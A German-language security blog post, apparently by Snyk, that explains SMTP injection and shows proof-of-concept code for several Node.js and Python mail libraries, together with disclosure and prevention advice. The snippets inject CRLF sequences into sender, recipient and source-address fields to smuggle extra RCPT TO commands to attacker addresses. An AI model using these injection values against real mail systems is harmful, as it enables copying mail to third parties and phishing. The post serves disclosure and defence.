SMTP-Injection vermeiden: Eine Whitebox-Einführung

SMTP-Injection-Schwachstellen werden von Entwicklern und Sicherheitsexperten häufig missverstanden und von statischen Analyseprodukten übersehen. In diesem Blog erfahren Sie, wie häufige SMTP-Injection-Schwachstellen in Bibliotheken und Anwendungen auftreten können. Außerdem erhalten Sie Tipps, wie Sie sie schnell finden und beheben.

Einführung in SMTP

Das Simple Mail Transfer Protocol (SMTP) ist ein E-Mail-Protokoll zum Senden und Empfangen von E-Mail-Nachrichten. E-Mail-Clients für Endbenutzer verwenden SMTP in der Regel, um Nachrichten zur Weiterleitung an einen Mailserver zu senden. SMTP-Server nutzen üblicherweise das Transmission Control Protocol über Port 25 (für Klartext) und Port 587 (für verschlüsselte Kommunikation).

Moderne Software und Anwendungen nutzen das SMTP-Protokoll häufig als Teil eines Nutzerablaufs und versenden E-Mails als Reaktion auf eine Nutzeraktion. Ein Beispiel sind Registrierungsbestätigungen: Dabei wird eine Nutzer-E-Mail-Adresse mit einem vordefinierten Begrüßungstext kombiniert und die E-Mail zur Zustellung an das E-Mail-Konto des Nutzers an einen SMTP-Server weitergeleitet.

Während einer SMTP-Sitzung zwischen einem SMTP-Client und einem Server kann ein Client mehrere SMTP-Befehle verwenden. Einige gängige Beispiele sind:

• HELO/EHLO – Mit dem Befehl HELO wird die SMTP-Sitzung gestartet, z. B. HELO snyk.io.

• MAIL FROM – Mit dem Befehl MAIL FROM wird eine Mailübertragung mit einer Absender-E-Mail-Adresse gestartet, z. B. MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)".

• RCPT TO – Mit dem Befehl RCPT TO wird der Empfänger der E-Mail angegeben, z. B. RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)".

• DATA – Mit dem Befehl DATA bittet der Client den Server um die Erlaubnis, die Maildaten zu übertragen. Der Antwortcode 354 erteilt diese Erlaubnis, und der Client beginnt, den Inhalt der E-Mail Zeile für Zeile zu übermitteln. Die DATA-Übertragung kann mit einem .-Zeichen beendet werden.

Nachfolgend sehen Sie ein Beispiel für eine SMTP-Kommunikation zwischen einem Client und einem Server.

1Server: 220 smtp.snyk.test ESMTP Postfix
2Client: HELO relay.snyk.test
3Server: 250 Hello relay.snyk.test, I am glad to meet you
4Client: MAIL FROM:<sams@snyk.test>
5S: 250 Ok
6C: RCPT TO:<jack@snyk.test>
7S: 250 Ok
8C: RCPT TO:<asaf@snyk.test>
9S: 250 Ok
10C: DATA
11S: 354 End data with <CR><LF>.<CR><LF>
12C: From: "Sam S" <sams@snyk.test>
13C: To: "Jack H" <jack@snyk.test>
14C: Cc: asaf@snyk.test
15C: Date: Tue, 15 Jan 2008 16:02:43 -0500
16C: Subject: Test message
17C:
18C: Hello Jack.
19C: This is a test.
20C: Your friend,
21C: Sam
22C: .
23S: 250 Ok: queued as 12345
24C: QUIT
25S: 221 Bye
26{The server closed the connection}

Was ist SMTP-Injection?

SMTP-Injection kann auftreten, wenn ein Angreifer beliebige SMTP-Befehle in eine SMTP-Kommunikation zwischen einem Client und einem Server einschleusen kann. Dies kann geschehen, indem zusätzliche CRLF-Zeichen in nutzergesteuerte Parameter eingefügt werden, die ohne Validierung oder ausreichende Bereinigung in einen SMTP-Befehl übernommen werden.

Solche Fälle treten häufig in Webanwendungen auf, die Bibliotheken zum Senden von SMTP-Befehlen verwenden oder über interne Implementierungen verfügen, die nutzergesteuerte Parameter nicht validieren.

Die Auswirkungen einer SMTP-Injection können je nach Kontext der betroffenen Anwendung unterschiedlich ausfallen. Zu den häufigen Folgen gehören:

• Kopien von E-Mails an Dritte senden.

• Den Inhalt der an den SMTP-Server gesendeten Nachricht verändern.

• Die von SMTP-Injection betroffene Anwendung als Proxy für Phishing-Angriffe nutzen.

Um SMTP-Injection besser zu verstehen, sehen wir uns die folgenden Beispiele an.

Szenario 1: SMTP-Injection

Entwickler verwenden häufig Bibliotheken von Drittanbietern, um E-Mails an einen SMTP-Server zu senden. Diese bieten eine Alternative zu den SMTP-Funktionen der Standardbibliothek. Ein Beispiel für eine solche Bibliothek ist smtp-client. smtp-client bietet verschiedene Felder zum Festlegen von Hostname, Authentifizierung, Empfänger und Absender, die anschließend als Teil einer SMTP-Nachricht gesendet werden können.

1var smtp = require('smtp-client');
2let s = new smtp.SMTPClient({
3  host: '127.0.0.1',
4  port: 1225
5});
6
7(async function() {
8
9  await s.connect();
10
11  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
12  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
13  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
14  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
15  await s.data('mail source'); // runs DATA command and streams email source
16  await s.quit(); // runs QUIT command
17
18})().catch(console.error);

Betrachten wir jedoch ein Szenario, in dem sich das Feld s.rcpt nicht festlegen lässt und nur s.mail vom Nutzer gesteuert wird. In solchen Fällen können CRLF-Zeichen verwendet werden, um einen neuen Befehl einzufügen, beispielsweise from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io).

Beispiel:

1await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

Da keine Validierung stattgefunden hat, verarbeitet der SMTP-Client die CRLF-Zeichen und behandelt RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io) als neuen SMTP-Befehl. Das folgende Bild zeigt, wie ein SMTP-Server diesen Befehl akzeptiert.

Neben smtp-client fand Snyk auch Schwachstellen in den Perl-Paketen Email MIME und Net::SMTP, die ebenfalls über mehrere Felder für SMTP-Injection anfällig sind. Dieses Sicherheitsproblem wurde den zuständigen Bibliotheksbetreuern gemeldet. In den neuesten Versionen dieser Pakete wurden Fehlerbehebungen implementiert.

Szenario 2: SMTP-Injection

In zahlreichen Sprachökosystemen gibt es auch Low-Level-Bibliotheken, mit denen Entwickler mit einem SMTP-Server kommunizieren können. Ein Beispiel dafür ist smtp-channel.

Bei smtp-channel können Entwickler Nutzer-E-Mails mit nutzerseitig bereitgestellten Eingaben erstellen und die Daten als Stream an smtp-channel übergeben. In solchen Fällen kann ein Angreifer zusätzliche Header hinzufügen und die bestehende SMTP-Sitzung nutzen, um eine E-Mail zu fälschen. Der folgende Code veranschaulicht dieses Problem:

1const {SMTPChannel} = require('smtp-channel');
2
3(async function() {
4    let handler = console.log;
5
6    let smtp = new SMTPChannel({
7      host: 'localhost',
8      port: 1225
9    });
10
11    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
12    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
13    await smtp.connect({handler, timeout: 3000});
14    await smtp.write(userstream, {handler});
15    await smtp.write('QUIT\r\n', {handler});
16
17  })().catch(console.error);

Szenario 3: SMTP-Injection

Auch Mail-Builder-Bibliotheken, die zusammen mit SMTP-Clients verwendet werden, können von SMTP-Injection betroffen sein. Ein Beispiel dafür findet sich im email Python package. Das email-Paket ist eine Bibliothek zur Verwaltung von E-Mail-Nachrichten. In diesem Fall ist SMTP-Injection möglich, wenn CRLF-Zeichen in das Feld mail.headerregistry.Address eingegeben werden.

1import smtplib
2
3from email.message import EmailMessage
4from email.headerregistry import Address
5from email.utils import make_msgid
6
7# Create the base text message.
8msg = EmailMessage()
9msg['Subject'] = "Example Subject"
10msg['From'] = Address("Sam", "Sanoop", "snyk.test")
11msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
12msg.set_content("""\
13Salut!
14
15Test Email 
16--Sam
17""")
18
19# Send the message via SMTP server.
20with smtplib.SMTP("127.0.0.1", 1225) as s:
21    s.login("testuser", "testpass")
22    s.set_debuglevel(2)
23    s.send_message(msg)

Das folgende Bild zeigt, wie der vorhandene RCPT-Befehl mit dem Zeichen > geschlossen und mit \r\n ein neuer Header cC eingeschleust wird. Dieser wird, wie unten zu sehen, als neuer RCPT-Befehl gesendet.

Diese Schwachstelle wurde vom Python-Sicherheitsteam in den Versionen 3.X behoben – klicken Sie hier, um die vollständigen Release Notes einzusehen. Die Versionen 2.X sind jedoch weiterhin anfällig.

Szenario 4: SMTP-Injection

Bei der Suche nach SMTP-Injection-Schwachstellen sollten Sie beachten, dass auch andere Felder wie Hostname und Quelladresse CRLF-Zeichen zulassen und dadurch SMTP-Injection ermöglichen können.

Im folgenden Beispiel werden die an aiosmtplib übergebenen Felder From und To bereinigt. Es ist jedoch weiterhin möglich, den Wert in source_address zu manipulieren und einen beliebigen SMTP-Befehl einzufügen. Den Proof of Concept (PoC), der dies veranschaulicht, sehen Sie unten:

1import asyncio
2from email.message import EmailMessage
3
4from aiosmtplib import SMTP
5
6async def say_hello():
7    message = EmailMessage()
8    message["From"] = "root@localhost"
9    message["To"] = "somebody@example.com"
10   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
11    message.set_content("Sent via aiosmtplib")
12
13    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
14    async with smtp_client:
15        await smtp_client.send_message(message)
16
17event_loop = asyncio.get_event_loop()
18event_loop.run_until_complete(say_hello())

Dadurch entsteht die folgende SMTP-Kommunikation.

Weitere Fälle, die Sie berücksichtigen sollten

In bestimmten Situationen können Mail-Bibliotheken auch Möglichkeiten zur Codeausführung eröffnen. Ein Beispiel dafür ist die Funktion mail().Wenn Nutzereingaben in den fünften Parameter der Funktion mail() gelangen, kann ein Angreifer dies zur Codeausführung ausnutzen – klicken Sie hier, um ein Beispiel für dieses Problem anzusehen.

SMTP-Injection-Schwachstellen werden häufig mit Mail-Injection-Schwachstellen verwechselt. Bei einer Mail-Injection-Schwachstelle kann ein Angreifer eine E-Mail-Funktion missbrauchen, um mithilfe einer SMTP-Funktion beliebige E-Mails zu versenden und Phishing-Angriffe durchzuführen. Bei einer SMTP-Injection hingegen werden CRLF-Zeichen verwendet, um beliebige Header einzuschleusen, mit denen sich anschließend E-Mails fälschen und Phishing-Angriffe durchführen lassen.

SMTP-Injection verhindern

SMTP-Injection wird von Entwicklern und Open-Source-Bibliotheksbetreuern häufig übersehen. In den meisten Fällen sollten die Bibliotheksbetreuer diese Probleme beheben. Viele bekannte Bibliotheken – darunter JavaMail, PHPMailer und RubyMail – verhindern SMTP-Injection bereits, indem sie CRLF-Zeichen bereinigen. Bei Low-Level-Bibliotheken wie smtp-channel ist der Entwickler, der die Bibliothek nutzt, für die Validierung und Bereinigung der Nutzereingaben verantwortlich.

Um die Open-Source-Community sicherer zu machen, hat das Snyk-Sicherheitsteam auch SMTP-Injection-Schwachstellen in den folgenden Bibliotheken offengelegt.